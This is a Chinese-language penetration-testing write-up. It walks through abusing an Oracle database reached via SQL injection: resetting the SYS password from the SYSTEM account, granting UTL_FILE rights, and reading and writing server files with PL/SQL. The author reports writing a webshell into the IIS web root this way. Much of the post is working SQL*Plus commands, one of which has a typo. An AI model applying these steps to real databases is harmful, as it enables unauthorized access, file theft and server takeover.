介绍

本文多为文字记录,且文中图片均为手机拍照,望见谅。

测试过程中,偶遇一注入是Oracle数据库,并且也是dba权限,加上未站库分离,隋想尝试读写文件方式获取目标机器权限。

但是最终不是通过sqlmap实现的,而是本身就有一个其他机器的代理,能够访问Oracle数据库,所以就采用了SQL*Plus连接了数据库后完成的,所以不清楚在Sqlmap上面是否也行,就当是记录一下当时的小坑。

除此之外由于我能直接连接Oracle数据库,所以尝试过通过Oracle数据库执行命令,但是通过折腾,由于目标机器上面未安装java环境,所以无法执行命令。若后续遇到Oracle数据库,且服务器上面安装了java的情况,再尝试通过Oracle数据库执行系统命令。

Oracle数据库

由于Oracle数据库接触属实较少,所以也不怎么熟悉,恰巧遇到了,所以就大致折腾了一下,并且过程中也参考了很多国内外的文章,也没有成功,后面一步一步的测试才发现了问题所在。

开始之前

首先,在折腾的那段时间中才了解到Oracle数据库若想实现文件的读写操作,必须要SYS账号的权限才行,当然由于对于Oracle不是很熟悉,所以也不知道这个说法对不对,至少我在研究的时候,系统非得提示我必须用SYS账号以as sysdba权限登录才行。

虽然使用注入将SYS账号的密码跑出来了,而且是个弱口令,所以当时直接拿去登录,但是登录时候提示密码不对,就还没明白是注入出了问题还是什么其他问题。但是我也没管,因为SYSTEM账号的密码也跑出来了,所以我就直接登录SYSTEM账号修改了SYS账号的密码,然后用SYS账号以as sysdba的权限登录了数据库。

登录数据库

由于过程中使用了SQL*Plus工具连接Oracle数据库,所以通过该工具来连接Oracle。

正常情况下使用SYS账号连接数据库的话会出现如下提示,就算密码对的也是如此:

&正常的使用方式是如下:

# sqlplus.exe 用户名/密码@IP地址:端口/SID

D:\Tools\SQL-Plus>sqlplus.exe SYSTEM/[email protected]:1521/aa

# 通过上述方式后以SYSTEM账号连接到数据库,然后再使用下述语句以SYS账号权限连接。

SQL> conn sys/[email protected]:1521/aa as sysdba

# 多说一句,若是知道SYTEM账号密码但不知道SYS账号密码的情况下,可以使用下述命令修改SYS账号密码。

SQL> alter user sys identified by SYSMANAGER;

至此,数据库是以SYS账号进行连接的,若是不以SYS账号连接数据库,再后续的操作中,会发生如下错误:

- 错误信息1:

SQL> grant execute on utl_file to public;

grant execute on utl_file to public

                 *

ERROR at line 1:

ORA-00942: table or view does not exist

  • 错误信息2

PLS-00201: identifier 'UTL_FILE' must be declared

所以,若是不以SYS账号连接,则会出现错误。

读文件

读文件过程中,均是参考了网络上的方法。虽然最终证明了能够读取文件,但是还是有个问题,那就是读出的文件内容只能返回一行,目前这个问题还未找到解决方法。

# 定义需要读取文件的目录,如c:\inetpub\wwwroot,replace是在定义了的情况下将目录替换。

create or replace directory test_dir as 'c:\windows';

# 赋予定义目录的读写权限。

grant read, write on directory test_dir to public;

# 这一句不是很懂,大意应该是调用utl_file

grant execute on utl_file to public;

# 查询上述的目录是否定义成功

select * from dba_directories;

# 开启服务器的输出选项,这一项必须开,我就卡在这很久,因为不开的话就算读取了文件,也没有任何内容会返回。

set serveroutput on;

# 下面的就是准备读取文件了。

declare

f utl_file.file_type;

s varchar2(200);

begin

f := utl_file.fopen('test_dir','win.ini','r');

utl_file.get_line(f,s);

utl_file.fclose(f);

dbms_output.put_line(s);

end;

/

# 上面这个/是表示语句结束的,也必须在最后面加上了敲回车。

# 还有就是这些语句是我照着照片敲得,不清楚有没有错别单词。

文件读取成功后,会返回一行文件内容,当时由于确定了网站路径,所以就没继续研究这个问题了,直接写了马儿拿到了权限。所以也没有图。

写文件

写文件和读文件差不多,最终判断文件是否写入成功可以结合读文件方式来判断。写文件倒是没遇到什么坑人的点。

create or replace directory test_dir as 'c:\inetpub\wwwroot';

grant read, write on directory test_dir to public;

grant execute on utl_file to public;

select * from dba_directories;

declare

f utl_file.file_type;

begin

f := utl_file.fopen('test_dir','aaa.txt','w');

utl_file.put_line(f,'111');

tul_file.close(f);

end;

/

写文件没什么值得解释的,知道网站路径的情况下可以将内容替换为一句话然后写入即可。

结尾

至此Oracle读写文件完成,虽然和网络上其他文章大同小异,但是网络上很多文章我测试了基本也不行,所以才自己踩坑进行研究了。

关于没解决的问题我心里也还有其他想法可以测试的,但是由于还没研究完就拿到权限了,所以就没继续下去了。

还有就是如果使用sqlmap的file-write或者file-read能不能行我也不能确定,我记得我真的好像是读取过,但是没有成功,所以我才通过代理连接到数据库手动进行测试的。